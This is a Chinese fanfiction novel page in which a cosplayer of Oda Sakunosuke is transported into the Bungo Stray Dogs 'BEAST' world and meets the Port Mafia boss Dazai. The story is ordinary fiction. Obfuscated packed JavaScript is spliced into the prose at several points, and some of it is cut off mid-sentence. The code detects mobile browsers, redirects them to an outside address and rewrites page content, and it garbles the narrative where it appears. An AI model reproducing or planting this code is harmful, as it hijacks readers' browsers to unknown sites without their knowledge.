《COS织田作的我,绑架了zwkfk》 1. 第一章 cos织田作穿越了 我们每一个人都是「野犬」。 无关学识,眼界,智慧,记忆……只要这具身体还被称为人类,就不可避免的拥有了且只拥有“迷惘”的权利。 …… 我站在横滨的街头,面前是围起了蔚蓝色海面的生锈栏杆。天色透着一种雾蒙蒙的灰暗,像是老旧的影片,又或者某人回忆里的产物。 远处的五栋黑色大楼在稀薄空气中居高临下的冷眼注视着这个傍晚。 这里是我从来没有来过的地方。 我低下头看了看自己的手掌,宽大的男性手掌上有着经年累月锻炼留下的茧子,左右手都有,包括了拇指食指与中指指侧。但中指上的茧子只有右手上有。 看得出来……这具身体是一个擅长使用双枪,也经常写作的人。 熟悉的沙色风衣,没有特色的条纹黑色衬衫,普通的长裤,暗红色的头发。 “果然成功了啊。”我发出了一声感慨,心中有些惊奇与微弱的雀跃。 ……在我cos成织田作之助后,经历了这样那样的事情,我穿越进了文豪野犬的世界。 沙色的风衣很宽大,遮掩了下面沉甸甸挂着的双枪与弹夹。除此之外只有口袋中的一支黑色原子笔,一本裁得很整齐的巴掌大空白笔记本,一马口铁盒咖啡巧克力,一包香烟与Lupin火柴盒。 没有任何身份证明和钞票。 在这个世界上没有认识的人和要去的地方。 我面临着这样的现实,却一点都没有着急。 “是织田作的话,该做什么呢?”我一边思考着,一边慢慢在街上散起了步,慢腾腾走着。 说起来,从刚才开始,这条海边公园的街道就变得十分安静,没有一个路过的行人,这很不寻常。 我又往前走了一段距离,绕过长得葱葱郁郁的树荫,前面出现了一条城市主干道。 但在傍晚时分的现在,街上居然已经没有车辆和路人了,冷清到异常。 一队穿着黑西装戴着墨镜,做着黑手党经典打扮的男人步履匆匆的持枪跑过,从他们身上沉闷碰撞的响动听起来,这群人荷枪实弹,带满了弹药,不知道要奔赴哪个战场。 “快!跟上!”“都跟上!”黑西装们杀气腾腾,空气中充满了焦灼压抑的氛围,那是里世界的味道。 虽然不知道发生了什么,但我只是个刚穿越的普通人,最多依仗织田作之助那份还不熟练的预知异能,还是别和黑手党发生冲突的好。 这么想着,我胆怯的停下脚步,准备绕路或者等他们离开。 “喂!”突然间,一个黑西装注意到了我,他凶恶的转了过来,带动他身后的众人也纷纷举起了枪,虎视眈眈。 “你在这里徘徊干什么?” 黑西装脸上的怀疑和戒备不加掩饰,在他眼里,孤零零的我出现在这种敏感地方,非常可疑吧。 只要我回答不对,接下来等待我的恐怕不是什么好事。 但是我不知道该怎么回答。 对于一个刚穿越到这个世界的人来说,我还没来及拥有什么想法,只是没来及离开而已。 我认真想了想,说:“想吃辣咖喱。” “啊??” 黑西装发出了被挑衅到的恼怒气音,他沉着脸使了个眼色,左右的人就迅速向我逼近了,“谁会到海滨公园找咖喱店?boss命令,搜捕横滨内的可疑人物!带走!” “咔嚓”的枪支上膛声接二连三响起,从四面八方堵死了我所有可以逃跑的路。 我:“……” 在穿越来的第一天,我,cos版织田作,绝赞拥有了免费食宿。 漆黑的审讯室关押单间,气味不算好的被子,稀薄的味增汤与营养还算丰盛的煎鱼盒饭。 虽说天气有些冷,盖这样的被子晚上还是会冷,但我不奢求太多,最基础的生存问题已经不需要担心了。 “港口黑手党……待遇还真好啊。”在还没有被带去审问前的等待时间,我坐在单间里,发出了这样的夸奖。 吃饱喝足了,等会怎么面对审问暂且不想,我开始思考发生了什么。 莫名其妙被抓来当成可疑人物。港口黑手党的氛围居然这么凝重,又是Boss的命令让他们大肆搜捕…… 我摸了摸额边暗红色的发丝,心里有了不祥的预感: 这里该不会是昏庸先代在位的时间线吧? 那样的话,免费食宿就待不下去了,必须赶在被审讯杀掉之前逃走才行。 “啊——!啊啊!” 阴森黑暗的关押室外只有一条狭长的过道,在远处会传来鬼哭狼嚎的惨叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“白色死神”这个称呼指向性极其明确,起码据我所知,只有文豪野犬beast世界里的中岛敦会被这么叫,他是被首领宰捡回港口黑手党的。 破案了。 ……原来我穿越的文野世界是if线吗?! 2. 第二章 暗中的交锋 if线世界,是一个黑敦白芥的世界。 织田作之助好好的活在武装侦探社,他的友人太宰治却在完成计划后,死在了港口黑手党首领的位置上,被称为“首领宰”。 ……所以,这几天的待遇并不是港口黑手党对待俘虏的人道主义,而是对我个人的优待? 我后知后觉的意识到这一点。 说起来,被关进来的时候,我身上的物品的确都被搜罗去了。但是送晚餐进来时,除了双枪外的物品都原样不动的又还给了我。 这对于‘港口黑手党’这个老练的审讯机构来说,是不明智也不会去做的无用动作。 即便我身手生疏,我也知道,撕下笔记本中锋利的纸页,或是投掷铁盒与里面的巧克力豆,包括那支黑色原子笔,都能当作杀人武器来用。 放在混战的这一刻,就像是给我提供基础的防身装备似的。 我还是起了身。 攥紧了笔与马口铁铁盒,从墙上的裂缝缝隙间走出去,第一时间抬头,入目的只有墙上已经被击毁的几个监控仪器。 混战的地下审讯机构里,许多人的吼叫与战斗声顿时大了几倍,毫无遮掩的灌进了我的耳朵: “从那边逃走!!” “啊,我把这一排都炸开了,这里关押的人物都是港口黑手党的‘敌人’。出来吧,大闹一场吧!” “中岛大人,下属去外面呼叫增援!”“不——这里有我一个人足够了。” 随着让地面震动的虎啸声响起,连灰尘仿佛都在激荡飞舞,不时有人发出被痛殴或杀死前的惨叫悲鸣。 留给我的时间不多了。 既然监控已经被其他人解决了…… 我迅速环顾四周,眼前这条被我熟记于心的狭窄过道已经被大半碎砖瓦砾堆积,尽头的铁栏杆也歪斜在地上,没有了关押人的作用。 如果要逃走,现在就是最好的时机,没有人注意到这一边的我。 我眼睛一亮,动作放轻,脚步近乎没声的压低重心挪动过去,在铁栏杆外的看守室里找到了我的双枪。 它们被连同其他武器一起,脏兮兮的,混乱的堆在看守室的角落地上。就像关押在这里的人都要经历一遭搜身,扣下来的武器暂时堆在这里还没空转移似的。 我翻找了几下,从这一小堆武器中下的位置翻出了双枪。它们的型号是M460XVR,一款大口径的转轮手枪,对于多种弹药都适配,所以没有找到我原本的弹夹也不要紧。 手、榴、弹。闪、光、弹。战、术、匕、首。我风衣下面的枪带上再次挂的满满当当,给我这个菜鸟带来了一丝安心感。 简单计算了一下时间,远处的敌人惨叫声逐渐弱了,混乱的战斗声也没有刚才那样抵抗激烈。这场突如其来的‘逃跑骚乱’已经快结束了。 留给我的时间即将殆尽,秒针清脆而让人焦灼的咔嚓咔嚓声仿佛已经响彻耳边。 如果想要成功逃脱,我不会有任何多余思考的时间,必须一鼓作气奋力从这里跃上台阶,冲出港口黑手党的大楼,在白色死神发觉之前解决掉一楼的追兵才行。 但…… 我平静的站在原地,不见一点焦急,甚至有闲心仔仔细细的打量这个看守室,这条毁了大半的狭窄过道,以及,过道上被摧毁的那几个摄像头。 啊,它们被毁的彻彻底底,不能再播送我的实时状态了,但是…… 我冷眼观察了半天,最后猛然抬手,一枚冻得冷硬的巧克力豆被肌肉记忆带动,像是开枪那样熟稔于心的划分清楚了投掷落点,三指收拢,迸发出一瞬间极强的爆发力: 巧克力豆像暗器一样急射而出,没有造成太大动静和杀伤力,却击中了某一个普通的损坏摄像头,把它后方阴影中隐藏着的黑色小方块击落了下来。 这是什么东西,我不应该认识。 但我踩了一脚上去,它就在吱呀的悲鸣中散架,爆成了一地精密零件。 如果我卡在估算的时间内极限逃走,是不可能发现这东西的存在的。 “……窃听器啊。”我喃喃着,明白了这是什么作用,也明白了这熟悉的一幕只可能是某人的手笔。 那么,我出来的任务就完成了。 接下来如果不出意外,会有一场好戏来看。或者说,事情的发展会朝着我期望的方向偏移。 于是,我又很小心的穿过了那条狭窄过道。 ……几分钟后,响动越来越大。 虎啸声消失了,一个斜刘海的白发少年出现在了这条狭窄过道上,他稚嫩的脸半埋在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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‘……而喜欢cosplay的群体本身就向往着将自己与憧憬的角色灵魂融为一体,为此获得围绕在周边空气中的一些存在。’ 我停下笔想了想,又在这一页上的空白处画了个Q版的织田作超人玩偶。 …… 解决了中岛敦,也该迎来他背后的高层人物了。 ‘我’的友人。 3. 第三章 首领宰 漆黑大厦的最高层。 中岛敦安静的走在长毛地毯上,推开门,进入一个全黑的宽敞房间。 这里到处都点缀着高档的古董,但不管是多少奢美华贵的物品,都被这间房间的黑暗吞噬了存在感。 而坐在宽大办公桌后的青年,更像是黑暗本身。 他完全的陷在了暗色中,看不清楚神情,双手交叠在胸口,只有一条暗红色的围巾从肩旁垂落下来。 “……boss,十分抱歉。”中岛敦单膝跪在地上,垂下了头,嗓音艰涩。 他不知道该怎么解释自己搞砸了任务。 “那个人……没有逃。”最终,中岛敦只能局促不安的这么喃喃着。 “……”青年没有立刻说话,倒是站在首领室一角的中原中也动了一下嘴角,又转过头,把什么话咽了回去。 几秒钟后,青年才有了反应。 “……啊呀,虽然从刚才就有了不祥的预感……事情果然变成这样了。” 随着这句话响起,黑暗房间里的氛围突然不再冻结了。 太宰的眼眸弯了下来,轻松的说: “毕竟是那个人啊。” 织田作之助,一个言行意外到让人猜不透的天然男人。 出现在这个时间点,该怎么做才好呢? 中岛敦安静的半跪着,内脏被愧疚恐惧蚕噬。 他不会去询问太宰先生,为什么要故意放走审讯室里的奇怪男人。太宰先生有自己的考量和计划。 他只知道一件事——他没有做好首领交给他的任务,他忍耐的等待着接下来的惩罚。 “敦,去完成下一个任务吧。” 太宰治却轻飘飘的跳过了这件事,他面前的文件旁边,孤零零躺着一只摘下来的耳机。 “太宰先生——” 太宰治的眼帘微垂,目光冷冽,他不容置疑的说了什么:“……” 被震惊到的中岛敦还没有应下,中原中也先吃惊得睁大了眼睛,以前的称呼脱口而出:“喂,太宰!你知道自己在说什么吗?” “闭嘴,中也。” 太宰脸上反而露出了一丝微笑,虚假得让人想吐。他柔和的看了过去,“你在质疑首领的命令吗?” “啊啊……这种话我已经说得厌倦了。”不等最高干部露出什么反应来,太宰的话音一转,他脸色垮了下来,平淡的从嘴中吐露出了毫不留情的话语, “如果你还是分不清楚这点,我可以帮你回想起来,那天发生过什么……中也。” 太宰的声音轻轻的,像是漂浮在空气中,看过来的眼眸里却什么都没有。没有了冷冽漠然,也没有伪装的笑意,只有一片让人作呕的虚无。 中原中也猛然攥紧了垂在身侧的手掌,咬紧牙关,眼中泄露出了杀意。 那一天,太宰就是带着这样的虚无表情,漫不经心的对他宣布了先代首领的死讯。 而他不得不跪地对新首领宣誓效忠。 迟早要杀了…… “啊。” 最后中也还是找回了自己的声音,他咬着牙关用力的说,“遵命……你最好也别死在别人的手上,boss。” “去吧,敦。”太宰无视了干部,只温和的用这一句话终结了今天的对话。 黑色房间里重新归为一片沉寂。 …… 港口黑手党的地下审讯室里。 我无聊的开始在本子上画Q版画了,从织田作画到太宰,再到安吾,连五个孩子和咖喱店老板都画上了。 可惜我只记得老板胖乎乎的肚子,五个孩子的名字以及最小的女孩怯生生的羞涩笑脸。 对他们其他的相关……我就不怎么熟悉了。 一直等到时间可以被称为后半夜,我的本子上琳琅满目的依次画上了青时宰,黑时宰,武侦宰,白宰,首领宰和太宰汪后。 终于,门外有人来了。 我微微松了口气:“呼……” 再等一会儿,我就要开始迟疑的思索,要不要把其他Q版人物也都画出来了。 来的人还是今天见过面的白发少年,只是这一次他紧咬着牙关,用异常寒冷的打量目光凝视着我。 不,比起冰冷,那种目光更像是在强行忍耐着什么,无所适从,所以只能以冰冷作为掩饰般的神态。 “身份已经调查清楚了……是被意外牵连抓进来的无辜人士。所以,你被释放了。” 中岛敦冷漠的这么叙述着,打开了门,往旁边让了一步。 我没有动,而是同样注视着他,判断着什么。 说真心话……我不太想离开港口黑手党。 如果这里是beast世界,也许这会成为我唯一能接触到首领宰的机会。 我无法抗拒这件事。 但是看中岛敦的表情…… 我认真想了一会儿,肃然的应了。 这是一场豪赌,但可惜织田作之助的异能力只够看到五六秒外的未来,不然我会更放松一点的走出地下室。 来的时候是被蒙了眼睛,离开的时候却没有这么做。 我拘谨的跟着白发少年沿着台阶往上,经过了一楼站岗的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803108|158455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑西装们。 明明大厅里有这么多人,在后半夜的现在,却没人发出来丁点声音,现场安静得透着一股让人胃痛的压力。 我不确定普通人会不会讨厌这种场景,起码我不着痕的绷紧了风衣下的肌肉,若无其事的努力装作镇定,继续走着。 说到底我不是织田作本人,一个顶尖的杀手,我心里紧张极了,但脸上还是很面瘫。 我被送到了大门口,白发少年就停下了脚步,他没有任何的反应,就像属于他的责任已经到此为止了似的,只简短的说: “去吧。” 我没动,而是终于主动搭了一回话:“可以问一下,你们在搜捕什么可疑人物吗?” 在横滨干这么敏感又手段粗糙的事情,昏庸先代可以,首领宰的话……就很让我惊讶了。 这不是剧情里被描述出来的内容,也许这只是某次港口黑手党扩张时的阵痛,或者彰显实力? 中岛敦停顿了一下,我猜他在听耳机里的指示,然后他说:“是横滨中不应该出现的异常人物。” 我的心脏停跳了一瞬。 如果不是知道我的穿越是一场意外结果,仔细盘算横滨里谁属于这个条件——那就没有谁比我更符合了。 我很肯定首领宰当初不知道我的到来。他的头脑很聪明,但在缺失了过多重要信息后,是无论如何也推不出来答案的。 那么排除我这个意外穿越的人,还有谁符合这个条件? 我心中浮想联翩,最先想到了一个很长的名字。 “离开吧。”中岛敦又冷声催促了一遍。 我眺望着横滨远处的夜色。 浓郁的夜幕吞噬了路灯的微弱灯光,这里是港口黑手党的门口,不会有闲杂人等出没,整条街道安静的可怕,就像我的未来那样,空荡荡的,不知道何去何从。 我拘谨的快步离开了这条街,花了几分钟。拐过弯,再外面的街道一样的冷清,却像是突然从地狱回到了人间。 远处有便利店的亮光,街上有零星汽车轧过马路的动静,坏掉的一盏路灯下是等候着公交车的路牌和长椅。 我看了看那边,还是走过去坐进了黑暗里。 半夜不会有公交车路过,我只是不知道该去哪里而已。至少在想明白这件事情前,茫然的我能坐着。 但就在我坐下的这一瞬间,我意识到了…… 在黑暗的路灯另一边的长椅上,悄无声息的倚坐着另外一道身影。 仿佛已经等待多时了。 我:“…………” 啊,来了。 4. 第四章 “初次见面” 夜色一片漆黑。 这片区域仅有的灯源还坏了,昏暗的月光只能让我隐约看清旁边坐着一个人,至于形象,相貌,全都是模糊一片。 即便如此,我也猜测到了什么:“………” 我沉默坐着,没有说话,也在努力遏制自己别再往那边细看过去。就像我真的看清楚了,小人鱼就会化为泡沫回到海底似的。 但心脏还是不由自主的加快了跳动。 感谢织田作的面瘫水平,不然我要紧张得脸色崩坏,喉咙绞紧到说不出话了。 啊…… 交朋友的话,第一句话要说什么好? 天上的月光突然被云轻柔的遮住了。 所以身旁那个人突然搭话的时候,他的嗓音也像是蒙了一层纱,低而轻的声线抹去了音色,像雾气一样听不出特征: “这么晚了,公交车已经停运了吧?” 非常平淡轻松的一句话。 就像随处可见的搭讪,即便我带着满脑袋文野剧情和设定去用放大镜听这句话,也只会以为是普通路人的随口感慨。 “啊,我知道。”我听见自己干巴巴的这么接了一句话,然后没了下文。 ……死嘴,快动啊! 但我真的不知道该说什么,在人际交往方面我是被动型的。所以才喜欢cosplay,所以才渴望拥有一场穿越,两个朋友。 我大脑空白的保持着沉默,把主动权让给了对方。 ——在等待的这一刻,谁有目的谁就会先找话的。 实际上,这是我从见到审讯室动乱就猜到的未来发展,只是没那么肯定。这也是对方必须要亲自走到我面前来确认的画面吧。 确认我的真实身份,确认我突然到来的目的。 三四天时间,再怎么样也够港口黑手党查到世界上到底有几个织田作之助了。 对于这一点,我是心知肚明的。 果然,对方又开口了:“你看起来不太好,要去哪里吗?我可以带你一程。” 为了礼貌,说话的时候我转过头直视了他。 对方的脸庞笼罩在黑暗中,发丝也被压得很低的帽子遮挡住了,穿着深色的衣服,没有一点特征,这样的形象放在深夜的公交站台上,简直可疑,但他夹着香烟的手中还勾着一把车钥匙,指了指不远处的汽车。 就像一个半路上犯了烟瘾,又不想弄脏爱车的家伙。 “不了,我没有要去的地方。”我坦然的回答。 其实我很想知道,如果我真的报出了一个地名,他会从黑暗里走出来吗? “刚来横滨吗?一直待在这里也不是办法呢。”对方友好的发出了叹息,那是一种很为别人着想的动人口吻。 他低下头,从口袋里摸索出来了什么,递了过来:“我知道一家很不错的店,老板是个好人哦。只要去帮工时拜托他,他会同意你暂住下来的。” 那是一只瘦长的手掌,指间夹着一张印刷好的白色名片。 “……” 我定定的看了一眼,道谢着伸手接过。 接过名片的时候,手指不可避免的与对方的手指触碰擦过,冰凉的温度。 “……” 无事发生。 对方看起来不动声色,收回了蜷缩起来的手指。 我低头翻过名片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803109|158455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查看,一面上写了地址,另一面上是这家店铺的名字和招牌菜的菜谱。 “帮大忙了。”我感激地说,“织田作之助,这是我的名字——你呢?” 虽然我穿越后的目的不是这个,但为了活下去,我确实需要一份包食宿的工作。 对方可疑的陷入了一阵沉默:“……” 我直直的注视着他,等待着答案,目光没有一点攻击性,但也没有一寸游移。 知道我的意难平是什么吗? 给出一些关键词: 「捡宰日」,「sideB」,「说到一半就被列车呼啸声打断的那声‘织田作’」。 ——这些当然只是一部分。 从一开始就被避免不曾相识的友人,在反复的犹豫中退缩回去斩断的羁绊,自然谈不上最终的告别会有多温馨。 不准刀!! ——既然今晚的首领宰非要制造这么一场偶遇,主动送上门来了,我会顺理成章的给出反应,不留退缩的台阶。 然后,他会怎么做呢? …… 和我搭话的人还在可疑的沉默。 他轻轻吐了一口气,身体向前倾斜了一瞬,在月光下抬起头,已然做出了决定。 帽檐下是一个消瘦俊秀的黑发青年。 “我叫太宰。”他的脸颊上露出了一个毫无破绽的笑容。 那又像有点不知所措、不知道该做什么反应所以才这么无意义的微笑着,平静的自我介绍。 “织田作——我可以这么称呼你吗?” 属于首领宰的声音不再遮掩下去,带着淡淡的期许,他用温柔的口吻这么自然问着。 5. 第五章 半夜闲聊 「织田作」…… 这个熟悉又独特的称呼,让我的心脏砰砰直跳起来,没有第一时间回答。 其实我只是一个穿越的coser。 首领宰却在把我当做未曾蒙面的友人,小心对待。 是的。 虽然首领宰表现得似乎很正常,但我能从他的反应中察觉出他的谨慎克制。 这种珍重的感觉实在让人愉快。 首领宰只通过「书」看遍了其他世界同体的相处,为此便前来和「织田作」这样相处。而我只通过穿越前的媒介了解首领宰的故事,也这样欣然前来冒认「织田作」之名,想获得一段友谊。 ……在这一点上,我们两个是有共通处的。 我奇妙的思考着这些,激动的情绪才浮光掠影一般的从四肢中褪去,慢了半拍的沉稳回应: “啊。” 黑发男子顿时像是放下了什么束缚一样,笑了起来,嘴角微扬。 比刚才那个微笑自然多了。 然后是突如其来的一阵沉默。 首领宰似乎在斟酌该用什么话题继续,他的睫毛低垂了下去,看不清神色,整个身影像是黑夜中凝固的一尊大理石像。 我平静的待在这阵沉默中,一点都不觉得难熬,耐心等着。 ‘会问我为什么出现在横滨里吗?’ 我想着。 初次见面就这么追问以前的经历,似乎有些冒昧了。所以我不大确定。 这牵涉到我穿越的秘密。 但不要紧,我没有什么隐瞒的必要,如果首领宰问了,我会说……会在以后说的。 毕竟,这也属于首领宰来和我见面想弄清楚的问题吧。 我正这么想着。 “哑弹。”一个完全意想不到的字眼从他的唇齿间吐露了出来。 首领宰认真的看向了我,像是突然有话题要讲、并且不吐不快了一样,没有任何缓冲的轻声说着: “你知道吗?织田作。其实最近……我想等到不忙碌了,去找一枚哑弹过来。” 我听着这段熟悉的话语,看看周围这草率的公交站台,有些分不清首领宰是不是在试探我。 或者说。 ——试探一个「织田作」会对他的态度。 他就像一个从来没有获得过宝物的孩子,一旦期盼已久的东西真的到了手,反而不知所措了。 这段话被他说的异常流利,熟稔于心,已经在心中默背过成千上万遍那样,只差一个可以诉说的对象。 那么,当他见到这个对象之后,在没有任何缓冲的开头之后,在这完全不搭边的半夜站台上,会有人突然听他讲这些莫名其妙的疯话吗? 黑发男子专注的看着我面前的那团空气,目光有些遥远漂浮。 ——他没有像刚才那样,认真看着我的眼睛了。 “找来哑弹做什么?” 我配合的问,放松脊背的倚靠在了站台上,又裹了一下沉甸甸的风衣。 夜风有点凉,可惜武器的重量不能转化成热量。 ——去首领宰推荐的地址请求收留,那是明天太阳出来以后的事情了。我还没有没眼色到大半夜去敲门把老板叫醒请求的程度。 所以,今天晚上我有充足的时间和首领宰闲聊。 在这里睡一觉也不是不行。 “把它拆掉哦。”首领宰的嗓音突然激昂了起来,“说不定在我拆了一半的时候,哑弹会突然在手中炸开——说不定能自杀成功呢!很有趣吧?” 话语依然和刚才一样的熟练快速。 “自杀成功。”我重复了一遍,发自内心的说,“但是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803110|158455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会很烦恼吧。” “……这倒是没错。” 太宰治顿了一瞬间,语气恢复到了最开始的清浅,他困扰的承认。 没有预兆的,黑发男子突然抬眼望了一眼汽车的方向,刚才所有漂浮在话语中的情感都转淡消失了: “真是个愉快的夜晚呢,织田作……但我该走了。” 他站了起来,我终于看清了首领宰的模样。 他穿着一身普通的夹克衫与长裤,没有带一点太宰治往日的特征。身形介于抽条的少年和清瘦的青年之间,脸颊消瘦,还残留着最后一点婴儿肥。 年纪……应该在十七八岁至二十岁之间。 那宽大的鸭舌帽下有几缕蓬松的黑色卷发。随着他起身的动作,有什么东西被太宰塞给了我。 我:“?” 看清楚了手中的东西,是刚才太宰拿着的那把车钥匙。 再抬起头时,青年已经走远了,他的身影再次被远处的暗色吞噬,只有最后的话语顺着风飘了过来,很不真实: “……织田作无处可去的话,晚上可以在车里休息哦。” “你呢?”我把忍不住要喊出的名字咽了回去,只问了后半句话。 这是我发自内心的疑问。 想也知道,出行安保森严的港口黑手党首领秘密出入大厦时,不会光明正大的走正门。说不定是坐着车走地下通道的。 所以你们一行人打算走回去吗? 靠腿走真的没问题吗? 已经没有人回答了。我慢慢走到那辆黑色汽车旁边,打开车门,摸了一下驾驶座上残留的温度。 在收到首领的命令后……有人匆忙的逃走,了吗? 希望那个人不是中也。 我不妙的默默想着,有种自己是罪魁祸首的微妙负罪感。 6. 第六章 咖喱饭!! 夜色中,有三人在默契的匆匆赶路。 走在最前面的黑发青年已经步步放开了气势,目光像平时那样冷酷而有威压。 他漠然的随手摘下了帽子,一言不发,中岛敦尊敬的捧过,有些意外的偷偷多瞥了一眼,又连忙垂下了头。 他还是头一次见……太宰先生不蒙着绷带的样子。 那个人,到底是谁? 能够让太宰先生不惜改变样貌,过去交谈,最后——临时把车子也留给了对方用。 中岛敦心中的疑问一个接一个,从他接受了任务开始回想,好像明白了点什么,但问题又更多了。 稍微首领落后一步走着的是中原中也,他忍耐的憋着气,手掌按在自己的帽檐上。 如果不是出来前就达成共识,早已经在心里骂了太宰好些遍,他也做不到像现在这样安静。 但生气归生气,这一幕还是让他看法微变。 最开始,中原中也搞不懂到底有什么任务重要到需要首领亲自出马,为此冒着被暗杀的风险。 当他看着两人在远处交谈的时候,一种震感突然撼动了他的心脏,让港//黑最高干部大为震撼:“……” 那个男人。 太宰治,也会做自己的事情,也有……朋友吗? 人有朋友是常事,也是常识。但对象是太宰治。 他有心吗? ——这是个很严重的指控。 在中原中也的记忆中,除了最初一段时间,和他搭档的讨厌鬼时不时还嚷着什么自杀,做些不着调的事,把他气得咬牙切齿。 等‘那件事’发生之后…… 成为了首领的太宰治,变得成熟而合格,废寝忘食的忙碌着,连情绪都仿佛淡去了,再也不提自杀了。 有时候,中原中也觉得留在这里的只是一具活着的精明计算的躯壳,没有留下任何私欲和情绪。 完全搞不懂太宰——看不懂情绪,劝不动休息,也不明白他在想什么。 深深的隔阂仿佛永远隔在太宰治和其他人之间,冻得结实,看得见,突破不了。 ……但在今天晚上,中原中也意识到这道厚墙,裂开了一道缝隙。 「他窥到了太宰治‘真实’的一角。」 …… 一夜平安过去。 虽然是在据说会很混乱的横滨,我在车里却睡了个好觉。 这是一辆高档轿车,装了严密的防弹玻璃与防窥膜,上锁以后内部固若金汤。后座的椅座柔软舒服,我把厚实的风衣披在身上当做被子,一觉睡到了天明。 感谢首领宰。 穿越到文野世界的前四五天都在港//黑被包了食宿,今天去找推荐的工作顺利的话,未来也会被包食宿,从头到尾都安心的被包圆了。 完全不需要操心啊。 我回到了驾驶座上,翻出那张名片,对照着地址点火起步,开走了这辆轿车。 在穿越以前我是会开车的,但现在没有驾照了。好在横滨是最不需要考虑这些的地方。 兜兜转转,询问路人,加起来消磨了大半个上午后,我终于找到了那家店铺。 “……啊。”我从喉咙里发出一声无意义的音节。 竖立在荒野间的[洋食]字样的招牌,红色的铁栏杆楼梯,剥落掉漆的二层小洋楼,还有那间…… 熟悉的西餐厅。 我沉默着推门走了进去,门上的铃铛发出一声清脆的晃荡。 餐厅里飘荡着一股浓郁好闻的咖喱气味,后厨里有一个满头大汗的男人探出胖乎乎的身体,手中还举着一支长汤勺。 他笑着道歉:“实在抱歉!客人——这里还没开始营业。” 是在动漫和舞台剧里见过的餐厅胖老板啊。 香味突然唤醒了我空了一晚上的肠胃,饥肠辘辘的感觉袭来。一切突然变得合理了起来。 我环视四周,似乎想从其中找到一个织田作,或者听听楼上有没有孩童的动静。 但西餐厅里安安静静。 细想一下……如果首领宰还想从我这里得到疑问的答案,前来找我。他便不会放任自己出没在另一个织田作之助有可能去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803111|158455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的地方吧。 我回想到了首领宰的年龄。 也许这个时间……这个世界的织田作还没有加入武装侦探社,还不存在前来这家店的记录。 “老板,我是来应聘的。”我回过神,笨拙的说出了这样的话,试着举出自己的优势, “我的刀功很不错……” “咕咕。”肚子也在附和我,听起来比我不善言辞的话还要有说服力。 我有些窘迫,但是被香喷喷的咖喱气味诱惑着的身体根本不听使唤,发出这样不争气的声音。 “……”胖老板惊奇的打量着我。 “好吧。”他做出了决定,“先来吃饭吧。然后再让我看看你的刀功……” 不容置疑的,胖老板去盛了一盘热气腾腾的咖喱饭,摆在了我面前。恐怕他把我当做了一位无家可归的饿肚子的人。 某种意义上来说,这倒也没有说错。 但…… 浓郁油亮的酱汁裹满了胡萝卜,土豆块和牛肉,倾注在米饭四周,在盘子里围成一座白色的孤岛,上面还撒了几粒黑芝麻。 放在我手边的是一杯清水。 “可以加辣吗?”我忍不住请求。 ‘辣……辣咖喱!’ 完全无法拒绝! 不辣的咖喱饭是没有灵魂的。或许我没有真正的织田作之助那样能吃辣,但是辣椒是咖喱饭里必不可少的一份子!! 只有加了辣椒,辣味会恰到好处的与咖喱的浓郁风味融合交织,在大脑和舌尖上碰撞出绝妙的火花! 从刚穿越那天,我就在想念这道织田作最爱料理。在横滨,在文野世界,在cos织田作成真后——怎么能不让人尝试一次呢? 勺子在舞动,我克制着自己的举动不要狼吞虎咽,但速度和频率还是越来越快。 呼…… 幸福。 在辣咖喱的包围下,我的眼神逐渐放空,心满意足的停止了思考。残留的最后一道情绪缓缓浮了上来: 首领宰…… 